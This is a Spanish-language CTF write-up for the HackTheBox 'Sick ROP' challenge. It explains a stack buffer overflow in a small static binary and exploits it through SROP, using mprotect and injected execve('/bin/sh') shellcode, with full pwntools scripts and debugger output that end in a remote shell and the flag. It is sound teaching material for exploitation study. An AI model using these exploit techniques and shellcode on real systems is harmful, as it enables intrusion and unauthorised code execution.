Sick ROP
8 minutos de lectura
Se nos proporciona un binario de 64 bits llamado sick_rop
:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Ingeniería inversa
El binario es tan pequeño que podemos mostrar el código ensamblador en completo aquí:
$ objdump -M intel -d sick_rop
sick_rop: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <read>:
401000: b8 00 00 00 00 mov eax,0x0
401005: bf 00 00 00 00 mov edi,0x0
40100a: 48 8b 74 24 08 mov rsi,QWORD PTR [rsp+0x8]
40100f: 48 8b 54 24 10 mov rdx,QWORD PTR [rsp+0x10]
401014: 0f 05 syscall
401016: c3 ret
0000000000401017 <write>:
401017: b8 01 00 00 00 mov eax,0x1
40101c: bf 01 00 00 00 mov edi,0x1
401021: 48 8b 74 24 08 mov rsi,QWORD PTR [rsp+0x8]
401026: 48 8b 54 24 10 mov rdx,QWORD PTR [rsp+0x10]
40102b: 0f 05 syscall
40102d: c3 ret
000000000040102e <vuln>:
40102e: 55 push rbp
40102f: 48 89 e5 mov rbp,rsp
401032: 48 83 ec 20 sub rsp,0x20
401036: 49 89 e2 mov r10,rsp
401039: 68 00 03 00 00 push 0x300
40103e: 41 52 push r10
401040: e8 bb ff ff ff call 401000 <read>
401045: 50 push rax
401046: 41 52 push r10
401048: e8 ca ff ff ff call 401017 <write>
40104d: c9 leave
40104e: c3 ret
000000000040104f <_start>:
40104f: e8 da ff ff ff call 40102e <vuln>
401054: eb f9 jmp 40104f <_start>
Vulnerabilidad de Buffer Overflow
Existe una vulnerabilidad de Buffer Overflow porque la función read
guarda hasta 0x300
bytes directamente en la pila (stack), y solamente 0x20
(32) bytes están reservados como buffer
.
Necesitamos 32 + 8 = 40 bytes para llegar a la posición de la dirección de retorno (porque los 8 bytes anteriores representan valor guardado de $rbp
), y vemos que se rompe el programa:
$ python3 -c 'print("A" * 40 + "BBBBBBBB")' | ./sick_rop
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
zsh: done python3 -c 'print("A" * 40 + "BBBBBBBB")' |
zsh: segmentation fault (core dumped) ./sick_rop
Estrategia de explotación
El binario tiene la protección NX, por lo que necesitamos utilizar Return-Oriented Programming (ROP) para explotar la vulnerabilidad de Buffer Overflow. No obstante, como el binario es muy pequeño, solamente tenemos unos pocos gadgets:
$ ROPgadget --binary sick_rop
Gadgets information
============================================================
0x0000000000401012 : and al, 0x10 ; syscall
0x000000000040100d : and al, 8 ; mov rdx, qword ptr [rsp + 0x10] ; syscall
0x0000000000401044 : call qword ptr [rax + 0x41]
0x000000000040104c : dec ecx ; ret
0x000000000040100c : je 0x401032 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401023 : je 0x401049 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401054 : jmp 0x40104f
0x000000000040104d : leave ; ret
0x0000000000401010 : mov edx, dword ptr [rsp + 0x10] ; syscall
0x000000000040100b : mov esi, dword ptr [rsp + 8] ; mov rdx, qword ptr [rsp + 0x10] ; syscall
0x000000000040100f : mov rdx, qword ptr [rsp + 0x10] ; syscall
0x000000000040100e : or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401011 : push rsp ; and al, 0x10 ; syscall
0x0000000000401016 : ret
0x0000000000401049 : retf 0xffff
0x0000000000401014 : syscall
Unique gadgets found: 16
Otra característica del binario, es que está compilado de forma estática:
$ file sick_rop
sick_rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Por tanto, no podemos utilizar la técnica de ret2libc. Además, no podremos utilizar execve("/bin/sh", 0, 0)
como syscall
ya que no tenemos los gadgets necesarios.
Sin embargo, podemos utilizar una técnica llamada SROP (SigReturn-Oriented Programming), que consiste en utilizar una instrucción syscall
llamada sys_rt_sigreturn
que restaura un marco de la pila (stack frame) en los registros. Después de eso, seremos capaces de utilizar otra syscall
, que será sys_mprotect
para cambiar los permisos de memoria de la pila a rwx
(lectura, escritura y ejecución). Una vez que se realice, podremos introducir shellcode en dicho espacio de memoria y ejecutarlo (saltándonos la protección NX).
Para realizar un sys_rt_sigreturn
necesitamos que $rax
tenga un valor de 0xf
(15) y que la pila (stack) esté rellena con el valor de los registros que queremos restaurar.
Para ejecutar sys_mprotect
necesitamos que $rax
tenga un valor de 0xa
(10), que $rdi
tenga la dirección donde empieza el segmento de memoria, $rsi
con el tamaño del segmento y $rdx
con la configuración de permisos en bits (como el comando chmod
en Linux).
Primero, tenemos que encontrar una manera de controlar $rax
. Esto es sencillo, ya que read
pondrá la longitud de la cadena de entrada en $rax
, que puede ser comprobado con GDB:
$ gdb -q sick_rop
Reading symbols from sick_rop...
(No debugging symbols found in sick_rop)
gef➤ break vuln
Breakpoint 1 at 0x401032
gef➤ run
Starting program: ./sick_rop
Breakpoint 1, 0x0000000000401032 in vuln ()
gef➤ c
Continuing.
123456789
123456789
Breakpoint 1, 0x0000000000401032 in vuln ()
gef➤ p $rax
$1 = 0xa
Tiene un valor de 0xa
(10) porque hemos introducido 9 caracteres más el carácter de salto de línea. Por tanto, tenemos control sobre el registro $rax
.
Como tenemos suficiente espacio para escribir en la pila (casi 0x300
bytes), podemos sobreescribir $rip
con la dirección de vuln
y después introducir un gadget syscall; ret
(dirección 0x401014
) y después el frame de sys_rt_sigreturn
con los valores de los registros.
Tenemos que hacer esto porque tenemos que llamar a read
otra vez e introducir 15 bytes (0xf
), de manera que la siguiente instrucción sea el gadget syscall; ret
con $rax = 0xf
y se ejecute sys_rt_sigreturn
.
Desarrollo del exploit
Para realizar SROP, la librería pwntools
proporciona una clase llamada SigreturnFrame
que permite configurar los valores de los registros y ponerlo en bytes:
#!/usr/bin/env python3
from pwn import *
context.binary = 'sick_rop'
elf = context.binary
rop = ROP(elf)
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
frame = SigreturnFrame()
frame.rax = 10 # sys_mprotect
frame.rdi = elf.address
frame.rsi = 0x4000 # size
frame.rdx = 0b111 # rwx
frame.rsp = 0x4010d8
frame.rip = syscall_ret
offset = 40
junk = b'A' * offset
payload = junk
payload += p64(elf.symbols.vuln)
payload += p64(syscall_ret)
payload += bytes(frame)
Este payload prepara la instrucción sys_rt_sigreturn
. Utilizando ROP, el binario llamará a vuln
, de forma que podemos introducir 15 bytes para poner $rax = 0xf
y ejecutar la instrucción sys_rt_sigreturn
. Luego, la configuración anterior de registros será efectiva. Después, la siguiente instrucción será el gadget syscall; ret
(otra vez, porque $rip
se ha configurado con la dirección de este gadget en el proceso de sys_rt_sigreturn
) y por tanto, la instrucción sys_mprotect
se ejecutará, cambiando los permisos del segmento del binario a rwx
.
Nótese que $rsp
se cambia también durante la operación de sys_rt_sigreturn
para que apunte a una dirección del segmento que se va a cambiar mediante sys_mprotect
, de manera que el shellcode que introduzcamos más tarde se guarde en una dirección fija (no hay protección PIE). porque no existen gadgets del tipo jmp $rsp
. Esta dirección es un puntero a la dirección de vuln
:
gef➤ p vuln
$2 = {<text variable, no debug info>} 0x40102e <vuln>
gef➤ grep 0x40102e
[+] Searching '\x2e\x10\x40' in memory
[+] In './sick_rop'(0x401000-0x402000), permission=r-x
0x4010d8 - 0x4010e4 → "\x2e\x10\x40[...]"
Vamos a actualizar el exploit de Python y añadir GDB al proceso mediante pwntools
:
#!/usr/bin/env python3
from pwn import *
context.binary = 'sick_rop'
elf = context.binary
rop = ROP(elf)
def main():
p = elf.process()
gdb attach(p, gdbscript='break vuln')
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
frame = SigreturnFrame()
frame.rax = 10 # sys_mprotect
frame.rdi = elf.address
frame.rsi = 0x4000 # size
frame.rdx = 0b111 # rwx
frame.rsp = 0x4010d8
frame.rip = syscall_ret
offset = 40
junk = b'A' * offset
payload = junk
payload += p64(elf.symbols.vuln)
payload += p64(syscall_ret)
payload += bytes(frame)
p.sendline(payload)
p.recv()
payload = b'B' * 15 # sys_rt_sigreturn
p.send(payload)
p.recv()
shellcode = b'C' * 32
payload = junk
payload += b'D' * 8
payload += shellcode
p.send(payload)
p.recv()
p.interactive()
if __name__ == '__main__':
main()
Si lo ejecutamos, GDB se agrega al proceso. Podemos continuar hasta que lleguemos a una violación de segmento (segmentation fault). En este punto, podemos imprimir los valores de la pila y ver dónde se almacena el shellcode (caracteres C
, 0x43
):
gef➤ x/20x $rsp
0x4010e0: 0x44444444 0x44444444 0x43434343 0x43434343
0x4010f0: 0x43434343 0x43434343 0x43434343 0x43434343
0x401100: 0x43434343 0x43434343 0x00402000 0x00000000
0x401110: 0x00000000 0x00000000 0x00000025 0x00010010
0x401120: 0x00402000 0x00000000 0x00000000 0x00000000
Como se muestra, las 8 letras D
están en 0x4010e0
, por lo que el shellcode empieza en 0x4010e8
. Podemos coger un shellcode de 64 bits como este: https://www.exploit-db.com/exploits/46907 y sobrescribir $rip
con 0x4010e8
. Este es el exploit resultante:
#!/usr/bin/env python3
from pwn import context, p64, remote, ROP, SigreturnFrame, sys
context.binary = 'sick_rop'
elf = context.binary
rop = ROP(elf)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def main():
p = get_process()
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
frame = SigreturnFrame()
frame.rax = 10 # sys_mprotect
frame.rdi = elf.address
frame.rsi = 0x4000 # size
frame.rdx = 0b111 # rwx
frame.rsp = 0x4010d8
frame.rip = syscall_ret
offset = 40
junk = b'A' * offset
payload = junk
payload += p64(elf.symbols.vuln)
payload += p64(syscall_ret)
payload += bytes(frame)
p.sendline(payload)
p.recv()
payload = b'B' * 15 # sys_rt_sigreturn
p.send(payload)
p.recv()
shellcode = (b'\x48\x31\xf6\x56\x48\xbf\x2f\x62'
b'\x69\x6e\x2f\x2f\x73\x68\x57\x54'
b'\x5f\x6a\x3b\x58\x99\x0f\x05')
payload = junk
payload += p64(0x4010e8)
payload += shellcode
p.send(payload)
p.recv()
p.interactive()
if __name__ == '__main__':
main()
Lo podemos lanzar en local:
$ python3 solve.py
[*] './sick_rop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 3 cached gadgets for 'sick_rop'
[+] Starting local process './sick_rop': pid 1255400
[*] Switching to interactive mode
$ ls
sick_rop solve.py
Flag
Y perfecto. Ahora lo podemos lanzar a la instancia remota:
$ python3 solve.py 157.245.35.236:30174
[*] './sick_rop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 3 cached gadgets for 'sick_rop'
[+] Opening connection to 157.245.35.236 on port 30174: Done
[*] Switching to interactive mode
$ ls
flag.txt
run_challenge.sh
sick_rop
$ cat flag.txt
HTB{why_st0p_wh3n_y0u_cAn_s1GRoP!?}